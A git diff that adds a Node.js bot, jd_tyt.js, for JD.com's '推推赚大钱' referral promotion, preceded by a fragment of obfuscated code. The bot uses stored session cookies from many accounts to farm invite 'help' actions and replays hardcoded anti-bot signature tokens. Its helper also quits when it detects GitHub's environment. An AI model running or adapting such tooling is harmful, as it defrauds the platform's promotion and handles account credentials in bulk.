_0x4f5b13=_0x1039b9[_0x2271('‮5f6')](_0x1039b9[_0x2271('‮5f6')](_0x1039b9[_0x2271('‮5f6')](_0x1039b9[_0x2271('‫5af')](_0x4118c6,_0x119486),_0x1039b9[_0x2271('‫5af')](_0x4118c6,_0x4860d1)),_0x1039b9[_0x2271('‫5af')](_0x4118c6,_0x100693)),_0x1039b9[_0x2271('‮5f9')](_0x4118c6,_0x4729f0));return _0x4f5b13[_0x2271('‮5fa')]();};_0xodA='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),"PUT"===e&&(s=this.put),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}put(t){return this.send.call(this.env,t,"PUT")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.put(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="PUT",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.put(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_tyt.js b/jd_tyt.js new file mode 100644 index 0000000..ac2501f --- /dev/null +++ b/jd_tyt.js @@ -0,0 +1,383 @@ +/* +注意:助力码每天会变,旧的不可用。 +助力逻辑:优先助力互助码变量,默认助力前三个可助力的账号,需要修改助力人数修改代码57行的数字即可 +入口-极速版-推推赚大钱 5元无门槛卷 大概需要50人助力 + [task_local] +#快速推一推 +0 1 * * * jd_tyt.js, tag=推一推, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ + +const $ = new Env('极速版-推推赚大钱');//助力前三个可助力的账号 +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const JD_API_HOST = 'https://api.m.jd.com'; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let status = '' +let inviteCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + } + console.log('\n入口→极速版→赚金币→推推赚大钱\n'); + await info() + await coinDozerBackFlow() + await getCoinDozerInfo() + console.log('\n注意助力前三个可助力的账号\n'); + if (inviteCodes.length >= 3) { + break + } + } + console.log('\n#######开始助力前三个可助力的账号#######\n'); + cookiesArr.sort(function () { + return .5 - Math.random(); + }); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if (!cookie) continue + for (let j in inviteCodes) { + $.ok = false + if (inviteCodes[j]["ok"]) continue + if ($.UserName === inviteCodes[j]['user']) continue; + await helpCoinDozer(inviteCodes[j]['packetId']) + console.log(`\n【${$.UserName}】去助力【${inviteCodes[j]['user']}】邀请码:${inviteCodes[j]['packetId']}`); + if ($.ok) { + inviteCodes[j]["ok"] = true + continue + } + await $.wait(10000) + await help(inviteCodes[j]['packetId']) + if ($.ok) { + inviteCodes[j]["ok"] = true + continue + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function info() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=initiateCoinDozer&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636014459632&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + } + } + $.post(nm, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('邀请码:' + data.data.packetId) + console.log('初始推出:' + data.data.amount) + if (data.data && data.data.packetId) { + inviteCodes.push({ + user: $.UserName, + packetId: data.data.packetId, + ok: false, + }); + } + } else if (data.success == false) { + console.log(data.msg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function coinDozerBackFlow() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=coinDozerBackFlow&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636015617899&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('浏览任务完成再推一次') + + + } + } else if (data.success == false) { + console.log(data.msg) + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function helpCoinDozer(packetId) { + return new Promise((resolve) => { + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1636015855103&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${packetId}"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20211104165055104;9806356985655163;10005;tk01wd1ed1d5f30nBDriGzaeVZZ9vuiX+cBzRLExSEzpfTriRD0nxU6BbRIOcSQvnfh74uInjSeb6i+VHpnHrBJdVwzs;017f330f7a84896d31a8d6017a1504dc16be8001273aaea9a04a8d04aad033d9`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('推出:' + data.data.amount) + console.log('已经推出:' + data.data.dismantledAmount) + } + } else if (data.success == false) { + if (data.msg.indexOf("已完成砍价") != -1) { + $.ok = true + } + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function help(packetId) { + return new Promise((resolve) => { + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1623120183787&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${packetId}","helperStatus":"0"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20210608104303790;8489907903583162;10005;tk01w89681aa9a8nZDdIanIyWnVuWFLK4gnqY+05WKcPY3NWU2dcfa73B7PBM7ufJEN0U+4MyHW5N2mT/RNMq72ycJxH;7e6b956f1a8a71b269a0038bbb4abd24bcfb834a88910818cf1bdfc55b7b96e5`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log("帮砍:" + data.data.amount) + + } + } + else + if (data.msg.indexOf("完成") != -1) { + status = 1 + } + if (data.success == false) { + if (data.msg.indexOf("完成") != -1) { + $.ok = true + } + console.log(data.msg) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getCoinDozerInfo() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=getCoinDozerInfo&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636015858295&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true && data?.data?.sponsorActivityInfo?.packetId) { + console.log('叼毛:' + data.data.sponsorActivityInfo.initiatorNickname) + console.log('邀请码:' + data.data.sponsorActivityInfo.packetId) + console.log('推出:' + data.data.sponsorActivityInfo.dismantledAmount) + if (data.data && data.data.sponsorActivityInfo.packetId) { + inviteCodes.push({ + user: $.UserName, + packetId: data.data.sponsorActivityInfo.packetId, + ok: false, + }); + } + } else if (data.success == false) { + console.log(data.msg) + } + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 